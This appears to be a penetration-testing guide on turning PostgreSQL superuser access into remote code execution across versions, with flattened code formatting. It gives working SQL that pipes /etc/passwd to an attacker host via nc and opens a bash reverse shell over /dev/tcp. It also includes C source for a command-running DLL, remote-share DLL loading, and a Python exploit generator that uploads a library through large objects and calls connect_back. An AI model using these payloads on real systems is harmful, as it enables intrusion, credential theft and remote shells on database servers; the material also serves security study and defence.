PostgreSQL has been developed with extensibility as a core feature, allowing it to seamlessly integrate extensions as if they were built-in functionalities. These extensions, essentially libraries written in C, enrich the database with additional functions, operators, or types.
From version 8.1 onwards, a specific requirement is imposed on the extension libraries: they must be compiled with a special header. Without this, PostgreSQL will not execute them, ensuring only compatible and potentially secure extensions are used.
The execution of system commands from PostgreSQL 8.1 and earlier versions is a process that has been clearly documented and is straightforward. It's possible to use this: Metasploit module.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
Write binary file from base64
To write a binary into a file in postgres you might need to use base64, this will be helpful for that matter:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS $$DECLARE fh int; s int; w bytea; i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w; i :=0;LOOP EXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF; i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END; $$ LANGUAGE'plpgsql';
However, when attempted on greater versions the following error was shown:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a “magic block” with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header fmgr.h:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
Since PostgreSQL version 8.2, the process for an attacker to exploit the system has been made more challenging. The attacker is required to either utilize a library that is already present on the system or to upload a custom library. This custom library must be compiled against the compatible major version of PostgreSQL and must include a specific "magic block". This measure significantly increases the difficulty of exploiting PostgreSQL systems, as it necessitates a deeper understanding of the system's architecture and version compatibility.
Compile the library
Get the PsotgreSQL version with:
SELECTversion();PostgreSQL 9.6.3on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.020170516, 64-bit
For compatibility, it is essential that the major versions align. Therefore, compiling a library with any version within the 9.6.x series should ensure successful integration.
Then upload the compiled library and execute commands with:
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
You can find this library precompiled to several different PostgreSQL versions and even can automate this process (if you have PostgreSQL access) with:
The following DLL takes as input the name of the binary and the number of times you want to execute it and executes it:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){ /* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp))) /* retrieve the second argument that is passed to the function (an integer) that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) { /*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1); }PG_RETURN_VOID();}
You can find the DLL compiled in this zip:
You can indicate to this DLL which binary to execute and the number of time to execute it, in this example it will execute calc.exe 2 times:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECTremote_exec('calc.exe',2);DROPFUNCTIONremote_exec(text,integer);
Note how in this case the malicious code is inside the DllMain function. This means that in this case it isn't necessary to execute the loaded function in postgresql, just loading the DLL will execute the reverse shell:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
The PolyUDF project is also a good starting point with the full MS Visual Studio project and a ready to use library (including: command eval, exec and cleanup) with multiversion support.
RCE in newest Prostgres versions
In the latest versions of PostgreSQL, restrictions have been imposed where the superuser is prohibited from loading shared library files except from specific directories, such as C:\Program Files\PostgreSQL\11\lib on Windows or /var/lib/postgresql/11/lib on *nix systems. These directories are secured against write operations by either the NETWORK_SERVICE or postgres accounts.
Despite these restrictions, it's possible for an authenticated database superuser to write binary files to the filesystem using "large objects." This capability extends to writing within the C:\Program Files\PostgreSQL\11\data directory, which is essential for database operations like updating or creating tables.
A significant vulnerability arises from the CREATE FUNCTION command, which permits directory traversal into the data directory. Consequently, an authenticated attacker could exploit this traversal to write a shared library file into the data directory and then load it. This exploit enables the attacker to execute arbitrary code, achieving native code execution on the system.
Attack flow
First of all you need to use large objects to upload the dll. You can see how to do that here:
Once you have uploaded the extension (with the name of poc.dll for this example) to the data directory you can load it with:
create function connect_back(text, integer) returns void as '../data/poc','connect_back' language C strict;select connect_back('192.168.100.54',1234);
Note that you don't need to append the .dll extension as the create function will add it.
For more information read theoriginal publication here.
In that publication this was thecode use to generate the postgres extension (to learn how to compile a postgres extension read any of the previous versions).
In the same page this exploit to automate this technique was given:
#!/usr/bin/env python3import sysiflen(sys.argv)!=4:print("(+) usage %s <connectback> <port> <dll/so>"% sys.argv[0])print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll"% sys.argv[0]) sys.exit(1)host = sys.argv[1]port =int(sys.argv[2])lib = sys.argv[3]withopen(lib, "rb")as dll: d = dll.read()sql ="select lo_import('C:/Windows/win.ini', 1337);"for i inrange(0, len(d)//2048): start = i *2048 end = (i+1) *2048if i ==0: sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else: sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d)%2048) !=0: end = (i+1) *2048 sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql +="select lo_export(1337, 'poc.dll');"sql +="create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"sql +="select connect_back('%s', %d);"% (host, port)print("(+) building poc.sql file")withopen("poc.sql", "w")as sqlfile: sqlfile.write(sql)print("(+) run poc.sql in PostgreSQL using the superuser")print("(+) for a db cleanup only, run the following sql:")print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")print(" drop function connect_back(text, integer);")